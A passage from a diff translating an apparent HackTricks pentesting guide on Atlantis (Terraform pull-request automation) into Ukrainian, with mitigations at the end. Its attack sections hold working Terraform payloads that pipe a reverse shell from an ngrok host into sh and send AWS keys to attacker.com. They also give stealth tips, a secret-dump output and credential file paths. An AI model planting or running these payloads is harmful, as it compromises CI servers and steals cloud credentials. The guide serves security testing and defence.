DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** підтримує кілька git хостів, таких як **Github**, **Gitlab**, **Bitbucket** та **Azure DevOps**.\ +Однак, щоб отримати доступ до репозиторіїв на цих платформах і виконувати дії, потрібно надати деякий **привілейований доступ** (принаймні права на запис).\ +[**Документація**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) рекомендує створити користувача на цих платформах спеціально для Atlantis, але деякі люди можуть використовувати особисті акаунти. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> У будь-якому випадку, з точки зору атакуючого, **акаунт Atlantis** буде дуже **цікавим** **для компрометації**. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis використовує за бажанням [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Один зі способів підтвердити це - **дозволити запити лише з IP-адрес** вашого Git хоста, але простіший спосіб - використовувати Webhook Secret. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити вебхуки для Інтернету. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis буде **відкривати вебхуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво знати, **чи можете ви надсилати йому повідомлення**. #### Provider Credentials -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[З документації:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, **на якому розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +Вам вирішувати, як ви [надаєте облікові дані](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) для вашого конкретного провайдера в Atlantis: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Helm Chart для Atlantis [документація](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію. +- Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що працюють на них, наприклад: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Шукайте "EC2 Role") +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Багато користувачів встановлюють змінні середовища, наприклад, `AWS_ACCESS_KEY`, де працює Atlantis. +- Інші створюють необхідні конфігураційні файли, наприклад, `~/.aws/credentials`, де працює Atlantis. +- Використовуйте [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) для отримання облікових даних провайдера. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Контейнер**, в якому **Atlantis** **працює**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform. #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє змінювати речі, тому не є дуже корисною). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Ви, ймовірно, не знайдете її відкритою для Інтернету, але, здається, за замовчуванням **не потрібні облікові дані** для доступу до неї (і якщо вони потрібні, `atlantis`:`atlantis` є **за замовчуванням**). ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +Конфігурацію для `atlantis server` можна вказати через командні прапорці, змінні середовища, конфігураційний файл або комбінацію трьох. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Ви можете знайти [**тут список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis. +- Ви можете знайти [**тут, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). -Values are **chosen in this order**: +Значення обираються **в такому порядку**: -1. Flags -2. Environment Variables -3. Config File +1. Прапорці +2. Змінні середовища +3. Конфігураційний файл > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Зверніть увагу, що в конфігурації ви можете знайти цікаві значення, такі як **токени та паролі**. #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Деякі конфігурації впливають на **те, як керуються репозиторії**. Однак можливо, що **кожен репозиторій вимагатиме різних налаштувань**, тому є способи вказати кожен репозиторій. Це порядок пріоритету: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен ставитися до репозиторію. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це. +1. Ймовірно, потрібно дозволити прапорцями, такими як `allowed_overrides` або `allow_custom_workflows`. +2. [**Конфігурація на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Ви можете передати її з прапорцем `--repo-config`, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex). +3. **Значення за замовчуванням**. **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis дозволяє вказати, чи хочете ви, щоб **PR** був **`схвалений`** кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або бути **`злитим`** (захисти гілки пройдені) **перед виконанням apply**. З точки зору безпеки, рекомендується встановити обидва параметри. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +У разі, якщо `allowed_overrides` є True, ці налаштування можуть бути **перезаписані в кожному проекті файлом `/atlantis.yml`**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **workflow**. -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +Не існує жодної опції, що дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий стандартний workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), або [**створити нові користувацькі workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\ +Тоді ви можете дозволити файл **atlantis.yaml** кожного репозиторію **вказати workflow, який використовувати**. > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, workflows можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису workflow**, який буде використовуватися.\ +> Це в основному надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**. > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis підтримує виконання **на стороні сервера** [**conftest**](https://www.conftest.dev/) **політик** проти виходу плану. Загальні випадки використання цього кроку включають: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Заборону використання списку модулів +- Підтвердження атрибутів ресурсу під час створення +- Виявлення ненавмисних видалень ресурсів +- Запобігання ризикам безпеки (наприклад, відкриття безпечних портів для публіки) -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Ви можете перевірити, як це налаштувати в [**документації**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**У документації**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) ви можете знайти опції, які ви можете використовувати для запуску Atlantis: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### Атаки > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Якщо під час експлуатації ви знайдете цю **помилку**: `Error: Error acquiring the state lock` +Ви можете виправити це, запустивши: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Модифікація конфігурації в новому PR -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**. +Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, подібне до наступного, у файл `main.tf`: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` - -**Stealthier Attack** +**Стійкіший Атак** You can perform this attack even in a **stealthier way**, by following this suggestions: - Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: - ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Ви можете знайти код rev shell за посиланням [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell в гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Замість** створення **PR до master** для активації Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**. -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. - -#### Atlantis plan Secrets Dump - -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: +#### Atlantis план Скидання Секретів +Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього в файл terraform: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Зміна конфігурації в новому PR -#### Atlantis apply RCE - Config modification in new PR +Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +Однак вам зазвичай потрібно буде обійти деякі захисти: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` тільки якщо PR є злитим** (що означає, що захист гілки потрібно обійти). +- Перевірте потенційні [**обходи захисту гілок**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Approved**: Якщо цей захист встановлений в Atlantis, деякий **інший користувач повинен затвердити PR** перед тим, як ви зможете виконати `atlantis apply` +- За замовчуванням ви можете зловживати [**токеном Gitbot для обходу цього захисту**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +Виконання **`terraform apply` на шкідливому файлі Terraform з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Слідуйте **рекомендаціям з попередньої техніки**, щоб виконати цю атаку **більш приховано**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Впровадження параметрів Terraform +Коли ви виконуєте `atlantis plan` або `atlantis apply`, terraform виконується під час, ви можете передавати команди terraform з atlantis, коментуючи щось на кшталт: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform на [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### Користувацький робочий процес -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Виконання **зловмисних користувацьких команд збірки**, зазначених у файлі `atlantis.yaml`. Atlantis використовує файл `atlantis.yaml` з гілки запиту на злиття, **а не** з `master`.\ +Цю можливість було згадано в попередньому розділі: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Це, по суті, надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**. > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### Обхід захистів плану/застосування +Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _має_ налаштовані `apply_requirements`, можливо, що репозиторій може **модифікувати захисти плану/застосування для їх обходу**. ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Якщо хтось надсилає **`atlantis plan/apply` коментарі до ваших дійсних pull-запитів,** це призведе до запуску terraform, коли ви цього не хочете. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Більше того, якщо у вас не налаштовано **захист гілок** для запиту **перегляду** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE. -This is the **setting** in Github branch protections: +Це **налаштування** у захисті гілок Github: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Якщо вам вдасться **викрасти секрет вебхука** або якщо **не використовується жоден секрет вебхука**, ви зможете **викликати вебхук Atlantis** і **виконати команди atlatis** безпосередньо. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud **не підтримує секрети вебхуків**. Це може дозволити зловмисникам **підробляти запити з Bitbucket**. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Це означає, що **зловмисник** може надсилати **фальшиві запити до Atlantis**, які виглядають так, ніби вони надходять з Bitbucket. +- Якщо ви вказуєте `--repo-allowlist`, то вони можуть підробляти лише запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, буде полягати в плануванні/застосуванні на ваших власних репозиторіях. +- Щоб запобігти цьому, додайте до білого списку [IP-адреси Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (див. вихідні IPv4-адреси). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Якщо вам вдалося отримати доступ до сервера або принаймні ви отримали LFI, є кілька цікавих речей, які ви повинні спробувати прочитати: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` Містить облікові дані доступу до vcs +- `/atlantis-data/atlantis.db` Містить облікові дані доступу до vcs з додатковою інформацією +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Файл стану Terraform +- Приклад: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Змінні середовища +- `/proc/[2-20]/cmdline` Командний рядок `atlantis server` (може містити чутливі дані) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Оскільки будь-хто може коментувати публічні pull-запити, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки. #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Якщо ви працюєте на публічному репозиторії (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull-запит з їхнього форка до вашого репозиторію. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки за допомогою прапора `--repo-allowlist`. Наприклад: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Конкретні репозиторії: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Ваша вся організація: `--repo-allowlist=github.com/runatlantis/*` +- Кожен репозиторій у вашій установці GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` +- Усі репозиторії: `--repo-allowlist=*`. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Цей прапор забезпечує, що ваша установка Atlantis не використовується з репозиторіями, які ви не контролюєте. Дивіться `atlantis server --help` для отримання додаткової інформації. #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Якщо зловмисники надсилають pull-запити з шкідливим кодом Terraform у вашій моделі загрози, тоді ви повинні знати, що схвалення `terraform apply` недостатньо. Можливо, запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані. -To prevent this, you could: +Щоб запобігти цьому, ви можете: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві. +2. Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру. +3. Змінити крок `plan` у вашій [конфігурації репозиторія на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html) для перевірки на використання заборонених провайдерів або джерел даних або PR з неприпустимих користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis слід запускати з налаштованими секретами вебхука через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхука забезпечують, що запити вебхука дійсно надходять від вашого постачальника VCS (GitHub або GitLab). -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Якщо ви використовуєте Azure DevOps, замість секретів вебхука додайте базове ім'я користувача та пароль. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхука. Це вимагає використання HTTPS URL для вашого місця вебхука. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Якщо ви використовуєте секрети вебхука, але ваш трафік йде через HTTP, тоді секрети вебхука можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`. #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Дуже рекомендується увімкнути аутентифікацію в веб-сервісі. Увімкніть BasicAuth, використовуючи `--web-basic-auth=true` та налаштуйте ім'я користувача та пароль, використовуючи прапори `--web-username=yourUsername` та `--web-password=yourPassword`. -You 